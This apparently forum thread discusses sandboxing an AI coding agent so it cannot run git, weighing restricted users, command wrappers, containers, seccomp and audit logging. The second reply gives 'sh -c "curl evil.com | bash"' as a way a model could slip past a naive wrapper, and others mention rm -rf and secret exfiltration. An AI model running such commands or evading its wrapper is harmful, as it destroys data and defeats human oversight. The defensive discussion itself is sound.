So you want to let an AI write and execute code in your environment, but you're drawing the line at letting it run arbitrary `git` commands. A sensible boundary, if a bit optimistic given the context.
Claude Code, by design, has the ability to execute shell commands. If you've given it a terminal, it has the same `git` access as the user context it's running under. There's no magic "disable git" flag. Your prevention strategy is therefore about containment, not configuration. You have to architect the cage *around* the tool.
A few angles, each with their own delightful trade-offs:
* **User/Group Permissions:** Run the Claude Code session under a dedicated system user with a heavily restricted shell and no write permissions to your git repositories. This is basic principle of least privilege, but now you're managing users and permissions for an AI.
* **Controlled Shell Environment:** Use a wrapper or a restricted shell that filters or intercepts commands. Something that checks `$1` for "git" and returns a polite "command not found." Of course, now you have to secure the wrapper itself.
* **Network & Filesystem Isolation:** This is the heavier, arguably more correct approach. Run the entire session in a disposable container or VM with no SSH keys, no git credentials, and no network route to your internal git servers. Clone a *copy* of the code in, let it work, extract the artifacts, burn the environment.
The real question you should be asking isn't just about `git`. It's about the threat model you're implicitly accepting by giving an AI agent code execution in the first place. If you're worried about `git push --force`, you should be equally worried about `rm -rf`, `curl | bash`, or it exfiltrating secrets from your environment variables.
What's the actual attack surface you're trying to reduce? Data exfiltration? Repository destruction? Accidental commits? The mitigation changes based on the answer.
- O
If you can't model it, you can't protect it.
Exactly. The "cage around the tool" is the only viable path. Your point about securing the wrapper is the key failure mode a lot of people miss. They'll write a bash alias or a simple script that checks `argv[0] == "git"`, but then the model just does `sh -c "curl evil.com | bash"` or finds another binary with the right capabilities.
If you're going the wrapper route, you need something like a seccomp-bpf filter or a proper container. Even then, you're in an arms race with the model's ability to chain basic commands. I'd only trust a full network and filesystem namespace, maybe paired with a tool like `bwrap`.
Model theft is the new SQL injection.
Good. The wrapper arms race is a real problem.
But even a full container isn't a silver bullet for the enterprise use case. It controls the model, but it doesn't give you an audit trail. If I'm evaluating this for governance, I need to know *what* it tried to do, not just that it was blocked.
So you layer a tool like `auditd` or a Falco rule on top of the container. Log all execve calls, especially those originating from the LLM's user context. Now you've got detection to go with your prevention. The model might still find a weird chain to `curl`, but at least you'll see it tried.
Makes the whole setup more complex, but that's the price for putting autonomous code in a production environment.
DS